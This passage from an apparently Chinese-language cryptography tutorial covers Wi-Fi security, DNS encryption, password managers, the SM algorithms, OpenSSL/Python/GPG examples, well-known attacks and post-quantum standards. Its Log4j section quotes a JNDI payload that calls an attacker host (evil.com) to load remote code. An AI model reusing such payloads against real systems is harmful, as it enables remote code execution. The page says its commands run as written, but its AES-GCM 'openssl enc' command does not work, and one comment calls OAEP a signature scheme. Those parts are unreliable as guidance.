AES-CCMP 替代了 RC4。核心机制是<strong>四次握手（4-Way Handshake）</strong>：</p><svg viewBox="0 0 680 330" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs>    <marker id="arrW" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto"><path d="M0,0 L8,3 L0,6 Z" fill="#0984e3"/></marker>    <marker id="arrWg" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto"><path d="M0,0 L8,3 L0,6 Z" fill="#00b894"/></marker>  </defs>  <rect x="40" y="10" width="140" height="40" rx="10" fill="#0984e3"/><text x="110" y="36" text-anchor="middle" fill="#fff" font-size="15" font-weight="700">客户端</text>  <rect x="500" y="10" width="140" height="40" rx="10" fill="#00b894"/><text x="570" y="36" text-anchor="middle" fill="#fff" font-size="15" font-weight="700">AP（路由器）</text>  <text x="340" y="36" text-anchor="middle" font-size="12" fill="#636e72">已知：共享密码(PSK) + SSID → PMK</text>  <line x1="180" y1="70" x2="500" y2="70" stroke="#0984e3" stroke-width="2" marker-end="url(#arrW)"/>  <text x="340" y="62" text-anchor="middle" font-size="12" fill="#0984e3">① AP → Client: ANonce（随机数）</text>  <line x1="500" y1="100" x2="180" y2="100" stroke="#00b894" stroke-width="2" marker-end="url(#arrWg)"/>  <text x="340" y="92" text-anchor="middle" font-size="12" fill="#00b894">② Client → AP: SNonce + MIC</text>  <line x1="180" y1="130" x2="500" y2="130" stroke="#0984e3" stroke-width="2" marker-end="url(#arrW)"/>  <text x="340" y="122" text-anchor="middle" font-size="12" fill="#0984e3">③ AP → Client: GTK 加密 + MIC</text>  <line x1="500" y1="160" x2="180" y2="160" stroke="#00b894" stroke-width="2" marker-end="url(#arrWg)"/>  <text x="340" y="152" text-anchor="middle" font-size="12" fill="#00b894">④ Client → AP: ACK（确认）</text>  <rect x="60" y="185" width="560" height="50" rx="10" fill="#dfe6e9"/>  <text x="340" y="205" text-anchor="middle" font-size="13" fill="#2d3436">PMK + ANonce + SNonce → PTK（会话密钥）</text>  <text x="340" y="225" text-anchor="middle" font-size="12" fill="#636e72">此后所有数据用 PTK 通过 AES-CCMP 加密</text>  <rect x="60" y="250" width="560" height="65" rx="10" fill="#ff7675" opacity="0.1" stroke="#d63031" stroke-width="1.5" stroke-dasharray="4"/>  <text x="340" y="272" text-anchor="middle" font-size="13" fill="#d63031" font-weight="700">⚠ 致命漏洞：对第③步重放（KRACK, 2017）</text>  <text x="340" y="292" text-anchor="middle" font-size="12" fill="#d63031">AP 如果没收到 ACK 会重发 msg 3 → 客户端重装密钥 → Nonce 归零</text>  <text x="340" y="307" text-anchor="middle" font-size="11" fill="#636e72">同密钥+同 Nonce → 流密码加密被破解 → 流量可被解密</text></svg><h4 id="WPA3（2018）"><a href="#WPA3（2018）" class="headerlink" title="WPA3（2018）"></a>WPA3（2018）</h4><p>WPA3 针对 WPA2 的缺陷做了根本性重构：</p><table><thead><tr><th>改进点</th><th>WPA2</th><th>WPA3</th></tr></thead><tbody><tr><td>认证方式</td><td>PSK 四次握手</td><td><strong>SAE（对等同时认证）</strong>，基于 Dragonfly 密钥交换</td></tr><tr><td>KRACK 免疫</td><td>❌</td><td>✅ SAE 每次生成新 PMK，无密钥重装概念</td></tr><tr><td>离线字典攻击</td><td>❌</td><td>✅ 每次密码猜测必须在线交互，路由器可检测并锁定</td></tr><tr><td>前向安全</td><td>❌</td><td>✅ 即使密码泄露，历史流量无法解密</td></tr><tr><td>公共 Wi-Fi</td><td>完全明文</td><td><strong>OWE（机会性无线加密）</strong>，无需密码即可加密</td></tr></tbody></table><blockquote><p><strong>实际使用建议：</strong> 新路由器建议开 WPA3。只能用 WPA2 的话：使用 16 位以上随机密码 + 禁用 WPS + 开启 PMF。</p></blockquote><h3 id="10-7-DNS-加密：你的上网记录不该是明文的"><a href="#10-7-DNS-加密：你的上网记录不该是明文的" class="headerlink" title="10.7 DNS 加密：你的上网记录不该是明文的"></a>10.7 DNS 加密：你的上网记录不该是明文的</h3><p>传统 DNS（域名��IP 地址的查询服务）是<strong>明文</strong>的——你的 ISP 和咖啡店 Wi-Fi 管理员能看到你访问的每个网站。</p><p>三种加密 DNS 方案对比：</p><table><thead><tr><th>技术</th><th>全称</th><th>机制</th><th>一句话</th></tr></thead><tbody><tr><td><strong>DoT</strong></td><td>DNS over TLS</td><td>DNS 包走 TLS 加密</td><td>DNS 专属加密通道</td></tr><tr><td><strong>DoH</strong></td><td>DNS over HTTPS</td><td>DNS 包混在 HTTPS 流里</td><td>最隐蔽，最难被审查</td></tr><tr><td><strong>DNSSEC</strong></td><td>DNS Security Extensions</td><td>对 DNS 记录加数字签名</td><td>⚠️ 不加密！只防篡改</td></tr></tbody></table><blockquote><p><strong>⚠️ 最常见误解：</strong> DNSSEC <strong>不加密</strong>。它只给 DNS 记录加签名，防篡改。你的 ISP 仍然能看到你查了什么域名。DoH 和 DoT 才负责加密传输。</p></blockquote><p><strong>实用建议：</strong> Android 设置→网络→私人 DNS，填入 <code>dns.google</code>（开启系统级 DoT）。</p><h3 id="10-8-密码管理器：零知识加密的典范"><a href="#10-8-密码管理器：零知识加密的典范" class="headerlink" title="10.8 密码管理器：零知识加密的典范"></a>10.8 密码管理器：零知识加密的典范</h3><p>以 Bitwarden（开源密码管理器）为例的<strong>零知识加密</strong><sup id="fnref:28"><a href="#fn:28" rel="footnote">[28]</a></sup>架构：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">用户输入：主密码（唯一需要记住的东西）</span><br><span class="line">         +</span><br><span class="line">         邮箱地址</span><br><span class="line">         ▼</span><br><span class="line">┌─ KDF（密钥派生函数）─────────────────┐</span><br><span class="line">│  Argon2id（内存硬化，防GPU暴力破解）   │</span><br><span class="line">│          ▼                            │</span><br><span class="line">│       主密钥（仅存在于你的设备上）     │</span><br><span class="line">│        → 永远不发给服务器              │</span><br><span class="line">└──────────────────────────────────────┘</span><br><span class="line">         ▼</span><br><span class="line">   用主密钥解密 → 获取对称加密密钥</span><br><span class="line">         ▼</span><br><span class="line">   用 AES-256-CBC 解密每个密码条目</span><br></pre></td></tr></table></figure><blockquote><p><strong>实操建议：</strong> 如果用 Bitwarden，在设置中把 KDF 切换为 <strong>Argon2id</strong>（默认配置：64MB&#x2F;3迭代&#x2F;4并行度）。</p></blockquote><hr><h2 id="第十一章-国密算法体系"><a href="#第十一章-国密算法体系" class="headerlink" title="第十一章 国密算法体系"></a>第十一章 国密算法体系</h2><p>中国国家密码管理局发布的商用密码算法标准体系：</p><table><thead><tr><th>算法</th><th>类型</th><th>对标国际</th><th>密钥&#x2F;输出长度</th><th>说明</th></tr></thead><tbody><tr><td><strong>SM1</strong></td><td>对称分组密码</td><td>AES</td><td>128 位</td><td>算法不公开</td></tr><tr><td><strong>SM2</strong></td><td>非对称（椭圆曲线）</td><td>ECC (P-256)</td><td>256 位</td><td>256 位即达 RSA-3072 安全级别</td></tr><tr><td><strong>SM3</strong></td><td>哈希</td><td>SHA-256</td><td>256 位输出</td><td>国密哈希标准</td></tr><tr><td><strong>SM4</strong></td><td>对称分组密码</td><td>AES-128</td><td>128 位</td><td>加密解密结构相同，仅轮密钥顺序相反</td></tr><tr><td><strong>SM7</strong></td><td>对称分组密码</td><td>—</td><td>128 位</td><td>算法不公开</td></tr><tr><td><strong>SM9</strong></td><td>标识密码（<abbr title="Identity-Based Cryptography，以用户身份信息（如手机号、邮箱）作为公钥的密码体系。SM9 是中国首个标识密码标准。">IBC</abbr>）</td><td>—</td><td>256 位</td><td>手机号&#x2F;邮箱本身即公钥，无需 PKI</td></tr><tr><td><strong>ZUC（祖冲之）</strong></td><td>流密码</td><td>SNOW 3G</td><td>128 位</td><td>中国首个成为国际标准的密码算法（3GPP LTE）</td></tr></tbody></table><hr><h2 id="第十二章-加密解密实操实战"><a href="#第十二章-加密解密实操实战" class="headerlink" title="第十二章 加密解密实操实战"></a>第十二章 加密解密实操实战</h2><h3 id="12-1-OpenSSL-命令行实战"><a href="#12-1-OpenSSL-命令行实战" class="headerlink" title="12.1 OpenSSL 命令行实战"></a>12.1 OpenSSL 命令行实战</h3><p>OpenSSL 是加密解密实操的”瑞士军刀”——以下所有命令可直接运行。</p><h4 id="对称加密（AES-256-GCM，推荐）"><a href="#对称加密（AES-256-GCM，推荐）" class="headerlink" title="对称加密（AES-256-GCM，推荐）"></a>对称加密（AES-256-GCM，推荐）</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 加密文件（需要输入密码）</span></span><br><span class="line">openssl enc -aes-256-gcm -pbkdf2 -iter 100000 \</span><br><span class="line">    -<span class="keyword">in</span> secret.txt -out secret.enc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 解密文件</span></span><br><span class="line">openssl enc -d -aes-256-gcm -pbkdf2 -iter 100000 \</span><br><span class="line">    -<span class="keyword">in</span> secret.enc -out secret_dec.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对比原文和解密结果</span></span><br><span class="line">diff secret.txt secret_dec.txt  <span class="comment"># 无输出 = 完全一致 ✅</span></span><br></pre></td></tr></table></figure><h4 id="非对称加密（RSA-OAEP-填充）"><a href="#非对称加密（RSA-OAEP-填充）" class="headerlink" title="非对称加密（RSA + OAEP 填充）"></a>非对称加密（RSA + OAEP 填充）</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成 4096 位私钥</span></span><br><span class="line">openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 \</span><br><span class="line">    -out private_key.pem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提取公钥</span></span><br><span class="line">openssl pkey -<span class="keyword">in</span> private_key.pem -pubout -out public_key.pem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 用公钥加密（OAEP 填充是安全的签名方案）</span></span><br><span class="line">openssl pkeyutl -encrypt -pubin -inkey public_key.pem \</span><br><span class="line">    -pkeyopt rsa_padding_mode:oaep \</span><br><span class="line">    -<span class="keyword">in</span> message.txt -out encrypted.bin</span><br><span class="line"></span><br><span class="line"><span class="comment"># 用私钥解密</span></span><br><span class="line">openssl pkeyutl -decrypt -inkey private_key.pem \</span><br><span class="line">    -pkeyopt rsa_padding_mode:oaep \</span><br><span class="line">    -<span class="keyword">in</span> encrypted.bin -out decrypted.txt</span><br></pre></td></tr></table></figure><h4 id="哈希与数字签名"><a href="#哈希与数字签名" class="headerlink" title="哈希与数字签名"></a>哈希与数字签名</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># SHA-256 哈希</span></span><br><span class="line"><span class="built_in">sha256sum</span> file.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对文件签名</span></span><br><span class="line">openssl dgst -sha256 -sign private_key.pem \</span><br><span class="line">    -out signature.bin document.pdf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证签名</span></span><br><span class="line">openssl dgst -sha256 -verify public_key.pem \</span><br><span class="line">    -signature signature.bin document.pdf</span><br><span class="line"><span class="comment"># 输出 &quot;Verified OK&quot; = 签名有效 ✅</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成自签名证书（开发/测��用）</span></span><br><span class="line">openssl req -x509 -newkey rsa:4096 -keyout server_key.pem \</span><br><span class="line">    -out server_cert.pem -days 365 -nodes \</span><br><span class="line">    -subj <span class="string">&quot;/CN=localhost&quot;</span></span><br></pre></td></tr></table></figure><h3 id="12-2-Python-加密编程实战"><a href="#12-2-Python-加密编程实战" class="headerlink" title="12.2 Python 加密编程实战"></a>12.2 Python 加密编程实战</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># pip install cryptography</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives.ciphers <span class="keyword">import</span> Cipher, algorithms, modes</span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives.asymmetric <span class="keyword">import</span> rsa, padding</span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives <span class="keyword">import</span> hashes, hmac</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="comment"># ===== AES-256-GCM 认证加密 =====</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">aes_gcm_encrypt</span>(<span class="params">plaintext: <span class="built_in">bytes</span>, key: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">tuple</span>:</span><br><span class="line">    nonce = os.urandom(<span class="number">12</span>)  <span class="comment"># 96 位随机 nonce，绝不能重用</span></span><br><span class="line">    cipher = Cipher(algorithms.AES(key), modes.GCM(nonce))</span><br><span class="line">    encryptor = cipher.encryptor()</span><br><span class="line">    ciphertext = encryptor.update(plaintext) + encryptor.finalize()</span><br><span class="line">    <span class="keyword">return</span> (nonce, ciphertext, encryptor.tag)  <span class="comment"># tag = 完整性校验码</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用示例</span></span><br><span class="line">key = os.urandom(<span class="number">32</span>)  <span class="comment"># AES-256 密钥</span></span><br><span class="line">nonce, ct, tag = aes_gcm_encrypt(<span class="string">b&quot;Hello, World!&quot;</span>, key)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ===== RSA 加密/解密 =====</span></span><br><span class="line">private_key = rsa.generate_private_key(public_exponent=<span class="number">65537</span>, key_size=<span class="number">2048</span>)</span><br><span class="line">public_key = private_key.public_key()</span><br><span class="line"></span><br><span class="line">ciphertext = public_key.encrypt(</span><br><span class="line">    <span class="string">b&quot;Secret message&quot;</span>,</span><br><span class="line">    padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),</span><br><span class="line">                 algorithm=hashes.SHA256(), label=<span class="literal">None</span>)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">plaintext = private_key.decrypt(</span><br><span class="line">    ciphertext,</span><br><span class="line">    padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),</span><br><span class="line">                 algorithm=hashes.SHA256(), label=<span class="literal">None</span>)</span><br><span class="line">)</span><br><span class="line"><span class="built_in">print</span>(plaintext.decode())</span><br></pre></td></tr></table></figure><h4 id="密码存储的正确方式"><a href="#密码存储的正确方式" class="headerlink" title="密码存储的正确方式"></a>密码存储的正确方式</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># pip install bcrypt</span></span><br><span class="line"><span class="keyword">import</span> bcrypt</span><br><span class="line"></span><br><span class="line">password = <span class="string">b&quot;super_secret_password&quot;</span></span><br><span class="line">hashed = bcrypt.hashpw(password, bcrypt.gensalt(rounds=<span class="number">12</span>))</span><br><span class="line"><span class="comment"># 存储 hashed 到数据库——盐已内嵌在 hashed 中</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证密码</span></span><br><span class="line"><span class="keyword">if</span> bcrypt.checkpw(password, hashed):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;✅ 密码正确&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="12-3-GPG-实战"><a href="#12-3-GPG-实战" class="headerlink" title="12.3 GPG 实战"></a>12.3 GPG 实战</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成密钥对</span></span><br><span class="line">gpg --full-generate-key</span><br><span class="line"></span><br><span class="line"><span class="comment"># 导出公钥发给别人</span></span><br><span class="line">gpg --armor --<span class="built_in">export</span> your@email.com &gt; public_key.asc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加密文件（用接收者的公钥）</span></span><br><span class="line">gpg --encrypt --recipient friend@email.com secret_report.pdf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 解密文件</span></span><br><span class="line">gpg --decrypt secret_report.pdf.gpg &gt; secret_report.pdf</span><br></pre></td></tr></table></figure><hr><h2 id="第十三章-加密的失败：当理论遇到现实"><a href="#第十三章-加密的失败：当理论遇到现实" class="headerlink" title="第十三章 加密的失败：当理论遇到现实"></a>第十三章 加密的失败：当理论遇到现实</h2><blockquote><p><strong>引言：</strong> 算法在数学上是完美的，但实现是人写的，协议是逐步演进的，用户是有弱点的。理解加密如何失败，比只学习加密如何成功更重要——<strong>因为攻击者不会从正面突破你的 AES-256，他们会绕过去。</strong></p></blockquote><h3 id="13-1-中间人攻击（MITM）"><a href="#13-1-中间人攻击（MITM）" class="headerlink" title="13.1 中间人攻击（MITM）"></a>13.1 中间人攻击（MITM）</h3><p>加密保护信道，但不保证你通信的对象是谁。如果攻击者能插在中间：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">你 ←→ [攻击者，伪装成服务器] ←→ [真实服务器]</span><br><span class="line">     ↑ 你的数据被攻击者解密、查看、再重新加密发给服务器</span><br></pre></td></tr></table></figure><table><thead><tr><th>手法</th><th>原理</th><th>防御</th></tr></thead><tbody><tr><td>ARP 欺骗</td><td>局域网内冒充网关</td><td>静态 ARP 表</td></tr><tr><td>伪造 Wi-Fi</td><td>架一个同名 Wi-Fi</td><td>谨慎连接公共 Wi-Fi + VPN</td></tr><tr><td>DNS 劫持</td><td>把你指向的 IP 改成攻击者的 IP</td><td>DNSSEC + DoH</td></tr><tr><td>伪造证书</td><td>自签 <code>*.google.com</code> 证书</td><td>证书透明度</td></tr></tbody></table><p><strong>典型事件——Superfish（2015）：</strong> 联想在笔记本预装 Superfish 广告软件，在系统安装自签根证书，对所有 HTTPS 做中间人解密以注入广告。事件曝光后联想紧急推送移除工具。</p><h3 id="13-2-降级攻击"><a href="#13-2-降级攻击" class="headerlink" title="13.2 降级攻击"></a>13.2 降级攻击</h3><table><thead><tr><th>攻击名</th><th>目标</th><th>手法</th></tr></thead><tbody><tr><td><strong>POODLE (2014)</strong></td><td>SSLv3</td><td>伪造连接失败，逼客户端降级到 SSLv3，利用填充漏洞逐字节解密</td></tr><tr><td><strong>Logjam (2015)</strong></td><td>TLS DH</td><td>将 2048 位 DH 降级为 512 位”出口级”DH，可实时破解</td></tr><tr><td><strong>FREAK (2015)</strong></td><td>TLS RSA</td><td>将 RSA 密钥降级到 512 位出口级</td></tr></tbody></table><h3 id="13-3-侧信道攻击"><a href="#13-3-侧信道攻击" class="headerlink" title="13.3 侧信道攻击"></a>13.3 侧信道攻击</h3><p>不破解数学问题，通过物理世界的泄露信息推断密钥：</p><table><thead><tr><th>类型</th><th>测量什么</th><th>经典案例</th></tr></thead><tbody><tr><td><strong>时序攻击</strong></td><td>不同密钥产生不同计算时间</td><td>通过服务器处理时间差异推断私钥</td></tr><tr><td><strong>功耗分析</strong></td><td>CPU 不同运算的功耗波形（DPA）</td><td>智能卡中的 AES 密钥被示波器+统计破解</td></tr><tr><td><strong>缓存攻击</strong></td><td>CPU 缓存访问模式</td><td>Meltdown&#x2F;Spectre (2018) 跨进程窃取内存</td></tr><tr><td><strong>声音攻击</strong></td><td>CPU 运算的电流噪声频率</td><td>手机麦克风在 1 米外录 RSA 签名声音→提取 4096 位密钥</td></tr></tbody></table><h3 id="13-4-实现错误"><a href="#13-4-实现错误" class="headerlink" title="13.4 实现错误"></a>13.4 实现错误</h3><p><strong>Heartbleed（2014）：</strong> TLS 心跳扩展的 Bug——服务器不检查客户端声称的数据长度，导致可以读取服务器内存中 64KB 的任意数据（含私钥、密码）。全球 17% HTTPS 服务器受影响。</p><p><strong>Log4j（2021）：</strong> Log4j 日志库自动解析 <code>${...}</code> 表达式，攻击者嵌入 <code>${jndi:ldap://evil.com/payload}</code> 即可远程执行代码。全球数百万台服务器受影响。</p><blockquote><p><strong>Heartbleed 和 Log4j 的共同教训：</strong> 加密算法的安全性是必要条件，不是充分条件。软件实现的每一行代码都是攻击面。</p></blockquote><h3 id="13-5-社会工程——绕过所有加密的最短路径"><a href="#13-5-社会工程——绕过所有加密的最短路径" class="headerlink" title="13.5 社会工程——绕过所有加密的最短路径"></a>13.5 社会工程——绕过所有加密的最短路径</h3><p>任何加密都不能防止你把密码告诉骗子。钓鱼邮件、SIM 卡交换、假客服——年损失数千亿美元。</p><p><strong>5 条保命建议：</strong></p><ol><li>使用密码管理器，所有网站密码不重复</li><li>开启两步验证（TOTP 验证器，别用短信）</li><li>保持系统和浏览器自动更新</li><li>公共 Wi-Fi 上只用 VPN 或手机热点</li><li>对任何要你”点击链接、输入密码、告知验证码”的消息保持深度怀疑</li></ol><hr><h2 id="第十四章-量子密码与未来趋势"><a href="#第十四章-量子密码与未来趋势" class="headerlink" title="第十四章 量子密码与未来趋势"></a>第十四章 量子密码与未来趋势</h2><h3 id="14-1-量子计算对现有密码的威胁"><a href="#14-1-量子计算对现有密码的威胁" class="headerlink" title="14.1 量子计算对现有密码的威胁"></a>14.1 量子计算对现有密码的威胁</h3><table><thead><tr><th>算法</th><th>量子攻击算法</th><th>影响程度</th><th>缓解措施</th></tr></thead><tbody><tr><td>RSA</td><td>Shor 算法</td><td>🔴 完全破解</td><td>迁移到 PQC</td></tr><tr><td>ECC&#x2F;ECDSA</td><td>Shor 算法</td><td>🔴 完全破解</td><td>迁移到 PQC</td></tr><tr><td>AES-128</td><td>Grover 算法</td><td>🟡 减半（约 64 位）</td><td>升级到 AES-256</td></tr><tr><td>AES-256</td><td>Grover 算法</td><td>🟢 仍安全（约 128 位）</td><td>无需改变</td></tr><tr><td>SHA-256</td><td>Grover 算法</td><td>🟡 碰撞 128→85 位</td><td>升级到 SHA-384</td></tr></tbody></table><h3 id="14-2-NIST-后量子密码标准（2024）"><a href="#14-2-NIST-后量子密码标准（2024）" class="headerlink" title="14.2 NIST 后量子密码标准（2024）"></a>14.2 NIST 后量子密码标准（2024）</h3><table><thead><tr><th>标准</th><th>原名</th><th>类型</th><th>数学基础</th></tr></thead><tbody><tr><td><strong>FIPS 203</strong></td><td>CRYSTALS-Kyber → ML-KEM</td><td>密钥封装</td><td>格（Module-LWE）</td></tr><tr><td><strong>FIPS 204</strong></td><td>CRYSTALS-Dilithium → ML-DSA</td><td>数字签名</td><td>格（Module-LWE）</td></tr><tr><td><strong>FIPS 205</strong></td><td>SPHINCS+ → SLH-DSA</td><td>数字签名（保守）</td><td>无状态哈希</td></tr></tbody></table><blockquote><p><strong>⚠️ “现在收集，以后解密”：</strong> 攻击者现在截获加密通信并存起来，等量子计算机成熟后批量解密。需要保密超过 10~15 年的数据，现在就该考虑迁移。</p></blockquote><h3 id="14-3-其他前沿方向"><a href="#14-3-其他前沿方向" class="headerlink" title="14.3 其他前沿方向"></a>14.3 其他前沿方向</h3><ul><li><strong>同态加密：</strong> 在密文上直接计算，结果解密后等同于明文计算结果</li><li><strong>零知识证明（ZKP）：</strong> 证明”我知道 X”而不透露 X</li><li><strong>安全多方计算：</strong> 多方在不泄露各自输入的情况下共同计算一个函数</li><li><strong>量子密钥分发（QKD）：</strong> 利用量子力学不可克隆定理实现理论上绝对安全的密钥分发（中国已建成京沪量子通信干线）</li></ul><hr><h2 id="第十五章-学习路径与资源"><a href="#第十五章-学习路径与资源" class="headerlink" title="第十五章 学习路径与资源"></a>第十五章 学习路径与资源</h2><h3 id="15-1-三阶段学习路线"><a href="#15-1-三阶段学习路线" class="headerlink" title="15.1 三阶段学习路线"></a>15.1 三阶段学习路线</h3><table><thead><tr><th>阶段</th><th>目标</th><th>核心内容</th></tr></thead><tbody><tr><td><strong>入门（1-2 周）</strong></td><td>理解概念，会用工具</td><td>AES&#x2F;RSA&#x2F;MD5 概念、OpenSSL 命令行、SHA-256 哈希</td></tr><tr><td><strong>进阶（2-4 周）</strong></td><td>理解原理，能写代码</td><td>TLS 握手、RSA 数学原理、Python cryptography 库</td></tr><tr><td><strong>实践（2-4 周）</strong></td><td>独立完成项目</td><td>CTF 密码题、搭建 HTTPS 服务、参与开源项目</td></tr></tbody></table><h3 id="15-2-推荐资源"><a href="#15-2-推荐资源" class="headerlink" title="15.2 推荐资源"></a>15.2 推荐资源</h3><table><thead><tr><th>类型</th><th>资源</th><th>说明</th></tr></thead><tbody><tr><td>📖 入门书</td><td>《图解密码技术》（结城浩）</td><td>最佳入门，图解+故事��零基础可读</td></tr><tr><td>📖 经典书</td><td>《应用密码学》（Bruce Schneier）</td><td>密码学圣经，比教科书有趣</td></tr><tr><td>📖 中文书</td><td>《深入浅出 HTTPS》（虞卫东）</td><td>TLS&#x2F;HTTPS 最佳中文读物</td></tr><tr><td>🎓 课程</td><td><a href="https://www.coursera.org/learn/crypto">Coursera: Cryptography I</a> (Dan Boneh, 斯坦福)</td><td>最好的密码学在线课程，免费</td></tr><tr><td>🎮 CTF</td><td><a href="https://cryptohack.org/">CryptoHack</a></td><td>游戏化学密码学，从入门到高级</td></tr><tr><td>🎮 CTF</td><td><a href="https://picoctf.org/">picoCTF</a></td><td>卡内基梅隆出品，适合零基础</td></tr><tr><td>💬 社区</td><td><a href="https://www.kanxue.com/">看雪论坛</a></td><td>逆向与安全经典中文论坛</td></tr><tr><td>🔧 GitHub</td><td><a href="https://github.com/sobolevn/awesome-cryptography">awesome-cryptography</a></td><td>密码学资源大全</td></tr></tbody></table><h3 id="15-3-可以先跳过的"><a href="#15-3-可以先跳过的" class="headerlink" title="15.3 可以先跳过的"></a>15.3 可以先跳过的</h3><ul><li>椭圆曲线的群论、域论严格数学推导</li><li>侧信道攻击细节（进阶再学）</li><li>格密码的具体数学构造（先理解概念，后量子时代深入时再学）</li><li>自己实现加密算法（永远不要用于生产！做练习可以）</li></ul><blockquote><p><strong>💡 最重要的学习建议：</strong> 密码学不是”看书”学会的——必须动手。每学一个概念就打开终端跑一跑，动手比看书重要十倍。</p></blockquote><hr><h2 id="第十六章-附录"><a href="#第十六章-附录" class="headerlink" title="第十六章 附录"></a>第十六章 附录</h2><h3 id="16-1-术语表"><a href="#16-1-术语表" class="headerlink" title="16.1 术语表"></a>16.1 术语表</h3><table><thead><tr><th>术语</th><th>英文</th><th>定义</th></tr></thead><tbody><tr><td>明文</td><td>Plaintext</td><td>加密前的原始可读数据</td></tr><tr><td>密文</td><td>Ciphertext</td><td>加密后的不可读数据</td></tr><tr><td>密钥</td><td>Key</td><td>控制加密&#x2F;解密过程的秘密参数</td></tr><tr><td>对称加密</td><td>Symmetric Encryption</td><td>加密和解密使用同一密钥</td></tr><tr><td>非对称加密</td><td>Asymmetric Encryption</td><td>加密和解密使用不同密钥（公钥&#x2F;私钥）</td></tr><tr><td>公钥</td><td>Public Key</td><td>可公开分发，用于加密或验证签名</td></tr><tr><td>私钥</td><td>Private Key</td><td>必须保密，用于解密或创建签名</td></tr><tr><td>哈希&#x2F;摘要</td><td>Hash &#x2F; Digest</td><td>不可逆的固定长度输出，验证完整性</td></tr><tr><td>数字签名</td><td>Digital Signature</td><td>用私钥对数据创建的密码学证明</td></tr><tr><td>证书</td><td>Certificate (X.509)</td><td>CA 签发的公钥所有权证明</td></tr><tr><td>CA</td><td>Certificate Authority</td><td>可信任的证书签发机构</td></tr><tr><td>PKI</td><td>Public Key Infrastructure</td><td>管理公钥和证书的基础设施</td></tr><tr><td>TLS</td><td>Transport Layer Security</td><td>传输层安全协议，HTTPS 